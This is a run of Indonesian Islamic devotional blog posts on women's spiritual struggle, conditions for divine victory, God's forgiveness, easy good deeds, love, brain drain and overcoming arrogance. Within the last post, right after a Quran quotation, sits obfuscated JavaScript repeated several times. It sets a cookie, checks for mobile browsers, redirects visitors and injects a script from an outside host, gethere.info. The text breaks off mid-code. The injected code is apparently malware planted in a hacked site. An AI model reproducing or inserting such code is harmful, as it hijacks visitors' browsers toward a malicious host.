Untuk Ummi dan Ukhti

wanita adalah seorang anak putri, seorang saudara perempuan, seorang istri, dan juga seorang ibu. jika wanita baik maka baiklah masyarakat sedangkan jika ia rusak maka rusaklah masyarakat. status mulia seperti itulah yang membuat para wanita juga memiliki kewajiban berjihad. tentu jihadnya wanita adalah bentuk jihad yang berada pada ranahnya dan sesuai segmentasi serta domainnya.

jihad disini bukanlah dalam arti sempit peperangan fisik. secara bahasa jihad berarti ‘mengeluarkan kekuatan dan apapun yang mampu dilakukan’. ibnu qoyyim mengklasifikasikan jihad sebagai berikut:
1. jihad melawan hawa nafsu
2. jihad melawan syetan
3. jihad melawan orang kafir dan munafiq
4. jihad melawan kemungkaran dan kezhaliman Continue reading “Untuk Ummi dan Ukhti”

Syarat Kemenangan di dalam Islam

kemenangan dalam pandangan Islam bukan sebatas pada tercapainya suatu tujuan, tetapi juga pada
keberadaan ridha Allah dalam kemenangan tersebut.

setidaknya ada lima hal yang menjadi pertimbangan sehingga kita dapat meraih kemenangan dari Allah swt.

1. nilai

hal mendasar yang menjadi syarat sehingga Allah swt memberikan kemenangan, adalah terpenuhinya nilai-nilai yang
menjadikan kita layak mendapat kemenangan. nilai-nilai yang dimaksud terdapat dalam kitipan ayat Q.S. Al Hajj:40-41.
kutipan aya tersebut menyebutkan bahwa kemenangan akan diperoleh ketika 4 nilai telah terpenuhi,
yaitu solat, zakat, menegakkan kebenaran, dan mencegah kemunkaran.

2. konsep

setelah terpenuhinya nilai-nilai kemenangan, maka hal selanjutnya adalah konsep yang kita bawa selama mengusahakan kemenangan.
konsep seperti apa yang layak mendapatkan kemenangan dari Allah swt?
untuk itu, kita perlu merujuk pada Q.S. 12:108.
konsep yang layak mendapat kemenangan, adalah konsep yang tidak bertentangan dengan syariat Allah swt termasuk sunnah Rasul saw.

konsep syariat Islam yang telah dicontohkan suri tauladan kita semua Rasul saw. maka, dengan yakin kita katakan bahwa “..ini jalanku,
aku dan orang-orang yang mengikutiku mengajak engkau kepada Allah dengan yakin, maha suci Allah dan aku tidak termasuk orang yang musyrik”.

3. sistem

konsep yang baik tentu tidak akan memiliki daya guna tanpa adanya sebuah sistem yang menjalankan konsep tersebut. maka perlu ada sebuah
sistem yang dapat menjalankan konsep tersebut, sistem yang membuat kita layak mendapat kemenangan dari Allah swt.

sistem seperti apa yang dimaksud?
Allah swt mengajari kita lewat petikan ayat-Nya di dalam Q.S. Ali Imran. “Dan hendaklah ada di antara kamu sebagian golongan yang menyeru
kepada kebaikan, menyuruh berbuat yang baik, dan mencegah dari yang munkar. Dan mereka itulah orang-orang yang beruntung”.

petikan ayat tersebut mengajarkan kita sebuah sistem yang di dalamnya terdapat orang-orang yang senantiasa menyeru di jalan Allah, sistem
yang senantiasa menjalankan proses pembinaan tiada henti, sistem yang tidak hanya menjadikan seseorang soleh tapi juga menjadikan seseorang
dapat mensolehkan orang lain.

sistem itulah yang kita kenal dengan tarbiyah.
sistem yang Rasul dan sahabat terapkan dan bahkan Allah swt terapkan ketika membina Rasul saw. sistem ini telah membuktikan kejayaan Islam
dapat diraih, maka dengan sistem ini pula kejayaan Islam akan kita raih, insya Allah.

4. jamaah
sistem hanyalah sebuah perangkat dalam menjalankan sebuha tujuan. sistem dengan segala kelibihannya tak akan berjalan tanpa ada sumber daya
di dalamnya, terutama sumber daya manusia, dan terutama lagi manusia-manusia terbaik. saya katakan “manusia-manusia terbaik” karena memang
sistem ini bukanlah untuk dijalankan oleh seorang manusia saja tetapi seperti kutipan ayat di Ali Imran tadi bahwa yang menjalankan ini
haruslah segolongan orang, komunitas, jamaah.

maka jamaah seperti apa yang layak mendapatkan kemenangan dari Allah swt?
ialah jamaah yang memiliki kekuatan individu. individu yang memiliki kekuatan akidah dan menerapkan nilai-nilai seperti pada poin pertama.
lalu jamaah yang memiliki ukhuwah yang solid, saling percaya dan menghargai saudaranya.
jamaah yang memiliki kekuatan amal, yaitu jamaah yang senantiasa berbuat kebaikan.

5. tujuan
poin terakhir yang menjadikan kita layak mendapat kemenangan adalah adanya tujuan. tujuan seperti apa?
rodho Allah swt. itulah sebaik-baik tujuan. maka, pada setiap langkah kita bergerak tak ada tujuan paling tinggi yang hendak dicapai
selain harapan yang besar kepada Allah swt.
sebagai penutup, cukuplah perintah Allah, “dan hanya kepada Tuhanmulah engkau berharap”. Q.S. Al Insyirah : 8.

inspired by ust. Suherman

Keluasan Ampunan Allah

Pernahkah antum berbuat dosa? Sebuah pertanyaan retoris karena semua pasti akan menjawab “ya”. Lantas seberapa banyak-kah dosa yang telah antum perbuat? Berikut ini ada beberapa dalil (Hadits dan AlQur’an) yang menarik untuk kita simak.

Dari Anas RA ia berkata, Rasulullah SAW bersabda: “Allah SWT berfirman: “Wahai anak Adam, sepanjang engkau berdoa dan mengharap kepada-Ku maka Aku akan mengampuni dosamu dan aku tidak perduli. Wahai anak Adam seandainya dosa-dosamu setinggi awan di langit kemudian engkau meminta ampun kepada-Ku maka Aku pasti akan mengampunimu. Wahai anak Adam seandainya engkau datang kepada-Ku dengan membawa kesalahan-kesalahan sebesar bumi kemudian engkau bertemu denganku dalam keadaan tidak mempersekutukan-Ku dengan sesuatupun maka Aku akan datang kepadamu dengan ampunan sebesar itu pula.” (Hadits Arbain no 42, hadits hasan shahih diriwayatkan oleh At Tirmidzi)

“Dan barangsiapa yang mengerjakan kejahatan dan menganiaya dirinya, kemudian ia mohon ampun kepada Allah, niscaya ia mendapati Allah Maha Pengampun lagi Maha Penyayang.” (QS. An Nisa’: 110)

Dari dua dalil diatas ,dan masih banyak lagi dalil yang senada dalam Al Quran ataupun hadits, dapat kita tarik kesimpulan bahwa tidak boleh sekalipun kita berputus asa terhadap ampunan dari Allah SWT. Sekalipun dosa kita sebanyak buih di lautan ataupun sebesar gunung, jika Allah berkehendak untuk mengampuninya maka hilanglah dosa tersebut. Yang perlu diperhatikan disini adalah khusus untuk dosa syirik, memang tidak semudah itu diampuni.

Sesungguhnya Allah tidak akan mengampuni dosa syirik dan mengampuni dosa yang selain syirik itu bagi siapa saj ayang Ia kehendaki. Barangsiapa mempersekutukan Allah (syirik), maka sungguh ia telah melakukan dosa yang sangat besar.” (QS 4. An-Nisaa: 48)

Ayat diatas bukan berarti ditafsirkan bahwa dosa syirik itu tidak dapat diampuni. Ayat tersebut hanya menjelaskan betapa besarnya dosa syirik dibanding dosa-dosa yang lain.
Ayat ini haruslah dipahami –wallaahu A’lam– begini: Allah tidak akan mengampuni dosa syirik yang tidak ditobati (dimintakan ampun) sampai yang bersangkutan mati dan Dia bisa saja mengampuni dosa-dosa selain syirik itu dengan tanpa ditobati bagi siapa saja yang dikehendaki-Nya. Jadi, syirik pun bisa diampuni Allah asalkan orang yang berdosa syirik itu benar-benar menyesali dosanya itu dan mohon ampunan kepada Allah disertai dengan taubatan nashuuha.
Beberapa hal yang harus dilakukan agar dosa kita diampuni oleh Allah :

  • Istighfar

Istighfar disini berarti meminta ampunan kepada Allah atas dosa-dosa yang telah kita perbuat. Bisa juga berarti meminta ampun terhadap kelakuannya yang belum banyak bersyukur seperti istighfarnya para orang-orang shalih. Atau bisa berarti permohonon ampun sebagai ungkapan rasa syukur sebagaimana istighfar yang dilakukan oleh Rasulullah SAW dan juga para Nabi.

  • Taubat dengan sebenar-benarnya

Meminta ampun (istighfar) wajib diikuti dengan taubat sebagaimana firman Allah:
“Dan hendaklah kamu meminta ampun kepada Rabbmu dan bertaubat kepada-Nya” (QS Hud: 3)

  • Memperbanyak melakukan amal kebaikan

Salah satu hal yang bisa membantu menghapuskan keburukan adalah dengan perbuatan baik.

Rasulullah SAW bersabda: “Bertaqwalah kepada Allah di mana pun kamu berada dan ikutilah perbuatan buruk yang telah kau perbuat dengan perbuatan baik, niscaya perbuatan baik tersebut akan menghapusnya dan pergaulilah manusia dengan akhlaq yang baik.” (HR Tirmidzi)

Dan bukan hanya menghapuskan keburukan saja. Secara dhahir jelas bahwasanya kebaikan itu selalu bertolak belakang dengan keburukan. Insya Allah jika kita selalu berusaha memperbanyak amalan terpuji, maka dengan sendirinya kita akan terhindar dari melakukan perbuatan dosa.

Khusus untuk dosa yang berkaitan dengan hamba Allah seperti perkelahian, marah,  ghibah, dll semuanya itu tidak akan terhapus kecuali setelah meminta keridhaan dari hamba yang didzalimi dan juga harus menjelaskan kepada yang bersangkutan tentang semua perbuatan dzalim tersebut.

Apalagi yang kita tunggu? Bersegeralah berlomba menuju ampunan ,Al Ghaffar, Allah SWT.

Wallahu ‘alam bisshowab

Beramal itu Mudah

dari sebuah survey kecil dengan tajuk “menurutmu, pahala apa yang paling mudah?” diperoleh mayoritas (delapan terbanyak) jawaban dengan urutan sebagai berikut:
1. senyum
2. dzikir
3. mendoakan orang
4. tidur
5. berniat baik
6. salam
7. mencintai orang karena Allah
8. sholat

ada sebuah jawaban yang cukup menarik untuk dibahas lebih dalam disini: membaca qur’an. argumen ini berangkat dari nilai pahala membaca qur’an, yaitu satu pahala untuk satu huruf. tidak sampai di situ saja, tiap pahala akan dibalas dengan sepuluh kebaikan.

mari berhitung kasar. dalam satu baris mushhaf pojok (jenis mushhaf yang pojok kanan atas adalah selalu awal ayat sedangkan pojok kiri bawah adalah selalu akhir ayat) terdapat sekitar 40 huruf (diambil sebuah sampel, yaitu baris pertama halaman kedua surat al-baqoroh). dalam satu halaman mushhaf terdapat 15 baris. artinya satu halaman terdiri dari 600 huruf. berarti dalam satu juz (20 halaman) terdapat total 12.000 huruf.

seorang dapat tilawah satu juz (secara tartil) dalam waktu sekitar 35 menit. dengan kata lain, dengan membaca qur’an kita akan memperoleh 12.000 pahala = 120.000 kebaikan dalam 35 menit saja! dan konsekuensi sebuah pahala/kebaikan itu bervariasi, dari mulai penghapus dosa, pemberi keberkahan, pengangkat musibah, sampai pemberat timbangan akhirat.

nah, dengan melihat hal tersebut maka alangkah ‘tidak waras’ jika kita masih malas membaca qur’an. betapa entengnya kita membuang 35 menit hanya untuk facebook, mendengarkan mp3, menonton film, nge-blog (ups..), chatting, melamun, dan sebagainya. padahal hari itu belum tilawah sama sekali.

kembali ke inti persoalan. bahwa ternyata beramal itu mudah. hal-hal sederhana semacam senyum dan tidur pun bisa bernilai amal yang berpahala. namun ada kuncinya: niat dan rutin.

beda nilainya antara tidur yang diniatkan agar bisa bangun untuk menonton bola (saja); dengan tidur (yang diawali do’a) yang diniatkan sebagai istirahat sehingga bisa bangun tahajjud serta memperoleh energi untuk aktivitas dan ibadah pada esoknya.

juga beda nilainya antara ikhwan yang tilawah memang benar-benar untuk tujuan tilawah (yakni: ilmu, amal, pahala, munajat, dan obat -insyAllah akan dibahas pada tulisan yang lain) dibanding ikhwan yang tilawah karena di tempat itu ada akhwat ‘incarannya’ sehingga dia diperhatikan.

niat (ikhlash dan ibadah) membuat amal-amal kecil menjadi besar nilainya; sebaliknya niat (riya, ujub, dll.) juga membuat amal-amal besar menjadi kecil nilainya.

kunci selanjutnya: rutin. tilik bagaimana bilal dijamin masuk surga karena wudhu (dan sholat syukur wudhu) yang rutin dilakukannya. sesungguhnya amalan yang kecil tapi rutin itu lebih dicintai Allah. masing-masing dari kita tentu lebih tahu, amal ‘kecil’ apa yang bisa rutin kita lakukan.

sebagai penutup, sangat indah kata-kata yang dipopulerkan aa gym, “mulai dari diri sendiri, mulai dari yang kecil, mulai sekarang juga”. dan jangan lupa, semua kemudahan itu juga adalah bentuk nikmat dari Allah yang harus disyukuri.

wAllahu muwafiq.

Doa Rabithah on Nasheed

Nasyid ini mungkin tidaklah spesial amat. Tapi dampaknya yang saya rasa spesial, sangat spesial. Mau tau rasanya? Coba denger sendiri ya…

Download di sini (klik kanan, “save as” atau “save link as”)

Semoga bermanfaat.

Cinta dan Anticinta

cinta, sebuah kata yang sangat familiar dan mesti semua orang pernah merasakannya. jatuh cinta, adalah frase ungkapan yang pasti selalu menjadi salah satu tema kehidupan. definisinya pun beragam, setiap yang kita cinta dengan tulus berarti kita telah terpaut, memprioritaskan, membela, mengasihi, mengikuti, ingin dekat, rindu, dan sebagainya. yang kesemuanya teraktualisasi melalui niat, ucapan, maupun perbuatan. yang darinya muncul sumber kekuatan untuk membahagiakan dan motivasi bertanggung jawab lalu melahirkan amalan-amalan hati dan anggota tubuh. bahwa agaknya tepat pendapat ibnu qayyim, “tidak ada batasan tentang cinta yang lebih jelas daripada kata ‘cinta’ itu sendiri”.

ada hitam ada putih. jika ada cinta maka tentu ada lawannya. yang kecintaan itu tidak sempurna tanpa menolak lawannya itu dengan sempurna pula. perasaan saling menjauhi, berlepas, berselisih, dan semacamnya. kita kenal istilah ‘benci’. namun mengacu pada pendapat ibnu qayyim di atas, maka kita sebut saja lawan dari ‘cinta’ dengan kata ‘anticinta’.

umum berpendapat cinta dan anticinta bukan perkara remeh, ia adalah suatu yang luhur. tapi ketahuilah mungkin ia ternyata lebih luhur dari anggapan selama ini. Continue reading “Cinta dan Anticinta”

BRAIN GAIN, BRAIN DRAIN, DAN BRAIN CIRCULATION

India, pakistan, cina, mengajarkan pada kita tentang kepercayaan diri selaku bangsa dan negara dunia ketiga. India dan Cina berhasil mengubah kondisi brain drain menjadi brain gain di tengah kondisi brain circulation.

Brain drain, bermakna ilmuan-ilmuan terkemuka (outstanding) negeri sendiri dalam kondisi tersebar di seluruh penjuru bumi ini, terutama tersebar di negara-negara maju, seperti Amerika dan Eropa. Kondisi ini tentu saja sangat tidak diinginkan oleh negara yang bersangkutan karena SDM penting yang ia miliki justru memajukan negara lain, bukan negara asalnya.

Brain gain, bermakna meraih kekuatan ilmuan-ilmuan negeri sendiri yang tersebar di seluruh pelosok bumi dengan cara membangun jaringan yang menghubungkan mereka dan menyatukan pemahaman untuk membangun negeri sendiri. Brain gain policy diterapkan pemerintahan di India dan Cina sehingga efeknya bisa kita saksikan saat ini.

Selain atas dasar kesamaan asal negara, brain gain policy muncul atas dasar pertimbangan fenomena brain circulation yang terjadi di dunia saat ini. Brain circulation berarti sebuah kondisi yang menggambarkan ilmuan dari negara manapun, ras manapun akan mencari tempat di mana ia dapat melakukan penelitian dengan sangat baik. Menyadari hal tersebut, tentu saja dengan kebijakan brain gain, kedua negara di atas bukan hanya meminta orang-orang cerdas di negaranya untuk bersama membangun bangsanya tetapi juga mempersiapkan infrastruktur dan sokongan dana yang cukup untuk menunjang riset mereka. Continue reading “BRAIN GAIN, BRAIN DRAIN, DAN BRAIN CIRCULATION”

Mengatasi Sombong dan Minder

Maha suci Allah yang mengaruniakan diri kita kemampuan yang berbeda-beda.Ai?? Semua milik Allah. Tidak ada kemampuan yang diciptakan sia-sia dan cacat. Dan Allah menakdirkan kemampuan beda-beda, supaya kita dapat saling melengkapi satu sama lain.Ai?? Namun, terkadang muncul penyakit dalam jiwa kita yang menghambat pertumbuhan potensi diri kita, terutama potensi ruhiyah kita. Penyakit itu adalah Sombong dan Minder.

Sombong karena merasa bahwa semua kelebihan milik dirinya dan sibuk dengan merendahkan orang lain. Dia tidak merasa bahwa Allah pemilik segala-galanya yang menitipkan kelebihan-kelebihan pada dirinya. Hal ini membuat dia merasa lebih hebat dan dapat menyelesaikan segala permasalahan dengan kemampuan yang ada pada dirinya. Ciri orang seperti ini adalah sangat takut dengan cacian, kritik dan nasihat orang lain.Ai??Karena ia merasa paling benar dan orang lain dengan segala kelemahannya adalah paling salah. Hal inilah yang membuat orang yang sombong tercegah dari karunia Allah. Mudah-mudahan Allah menjauhkan diri kita dari sifat ini. Continue reading “Mengatasi Sombong dan Minder”

Indah Hidup Mengandalkan Allah, Lelah Hidup Mengandalkan Diri

“Katakanlah(Muhammad), “Dialah Allah, Yang Maha Esa. Allah tempat meminta segala sesuatu.” (TQS. Al-Ikhlas: 1-2)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77